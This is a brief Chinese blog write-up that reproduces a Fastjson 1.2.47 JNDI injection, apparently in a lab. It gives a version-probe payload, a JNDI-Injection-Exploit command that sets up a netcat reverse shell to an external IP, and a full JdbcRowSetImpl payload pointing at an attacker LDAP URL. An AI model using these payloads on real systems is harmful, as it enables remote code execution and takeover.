首页 > 其他分享 >1247-jndi

1247-jndi

时间:2024-01-31 12:44:06浏览次数:32  
标签:fastjson java 221.99 jar jndi 1247 type

Fastjson 1247-jndi

复现过程

依旧是探测一下 fastjson 的版本,使用:

{
	"@type": "java.lang.AutoCloseable"

img

关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了

那么已知fastjson版本为1.2.47,那么我们就可以尝试利用fastjson的JNDI特性来执行命令了。

这次使用的是 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具来执行命令。

在 vps 上开启服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " 47.113.221.99 8080  -e sh" -A 47.113.221.99

img

paylaod:

{"@type":"com.alibaba.fastjson.JSONObject",{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://47.113.221.99:1389/4ardp9",
        "autoCommit":true
    }
}}""}

img

这里他是没有 bash 的,所以使用 nc 来反弹命令,这里我 sh 也弹不出来。当然这里打一个内存马也是可以的。

img

img

img

标签:fastjson,java,221.99,jar,jndi,1247,type
From: https://www.cnblogs.com/qianyuzz/p/17999034

相关文章

  • 通过Environment获取属性文件的值,竟然会调用到JNDI服务!!!
    一、背景介绍某应用在压测过程机器cpu使用率超过80%,通过在线诊断工具进行CPU采样生成的火焰图,看到程序中频繁调用environment.getProperty()获取属性值,而其内部调用了JndiPropertySource.getProperty()通过在线诊断工具进行CPU采样生成的火焰图  问题解决属性进行缓存,这......
  • JNDI 漏洞分析
    简介根据官方教程,JNDI(JavaNamingandDirectoryInterface)是为Java程序提供的,一组用来统一调用命名服务和目录服务的API,逻辑结构如下:可以看到下面的SPI中,有熟悉的RMI服务和DNS服务,也有没用过的CORBA和LDAP服务等。那么到底什么是JNDI?一句话说:接口一词在计算机系统中再常见不......
  • Kafka JNDI 注入分析(CVE-2023-25194)
    ApacheKafkaClientsJndiInjection漏洞描述ApacheKafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。KafkaConnect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS配置和SASL协议的任意Kafka......
  • JNDI注入
    简介根据官方教程,JNDI(JavaNamingandDirectoryInterface)是为Java程序提供的,一组用来统一调用命名服务和目录服务的API,逻辑结构如下:可以看到下面的SPI中,有熟悉的RMI服务和DNS服务,也有没用过的CORBA和LDAP服务等。那么到底什么是JNDI?一句话说:接口一词在计算机系统中再常见不......
  • JNDI
    http://baike.baidu.com/link?url=pHlqvZgaJ890lvERGexNBuZ9quKopB5t7W6b7K1OHYkxU5DmMk-U1TCaKMIo0G08DBOodWnS5DETaYRGOO3XP_......
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞
    JNDI注入什么是JNDIJNDI全称为JavaNamingandDirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。简单从安全......
  • log4j JNDI注入漏洞
    log4j漏洞复现及详细分析-FreeBuf网络安全行业门户Vulhub-Docker-Composefileforvulnerabilityenvironment1、介绍名称:log4jJNDI注入漏洞编号:CVE-2021-44228原理:应用:log4j版本:log4j-1.2.xlog4j:1.2.17及之前版本log4j-1.2.8log4j:1.2.14log4j:1.2.12log4j:1......
  • JNDI注入 -log4j
    为了更好的了解jndi,必须了解背后的三个服务提供者基于SPI接口和JNDI构建起了重要的联系CORBA分布式计算的概念中.ORB(objectrequestbroker)表示用于分布式环境中远程调用的中间件.在客户端负责接管调用并请求服务端,服务端负责接收请求并将结果返回一个简单的CORBA程序由......
  • HHHOJ #1247. 「NOIP 2023 模拟赛 20230715 A」1 题解--zhengjun
    法老找来的题,说是找了三道其他模拟赛的T4拼成T1~T3,另外搞了道T4。思维好题,但是放在T1有点搞心态,但是还好大样例够强,400没挂。然而T3大样例输出错了,浪费了我0.5h,差评。首先发现向左走之后向右走是一定不优的,所以最短路的情况只能先向右再向左。考虑枚举起点\(s......
  • JNDI是什么?
    JNDI(JavaNamingandDirectoryInterface)是Java命名和目录接口的缩写。它是Java平台提供的一个标准API,用于访问各种命名和目录服务。JNDI可以用于在Java应用程序中查找和访问命名资源,如数据库连接、JMS队列、LDAP目录等。JNDI提供了一种统一的访问不同命名和目录服务的方式,无论......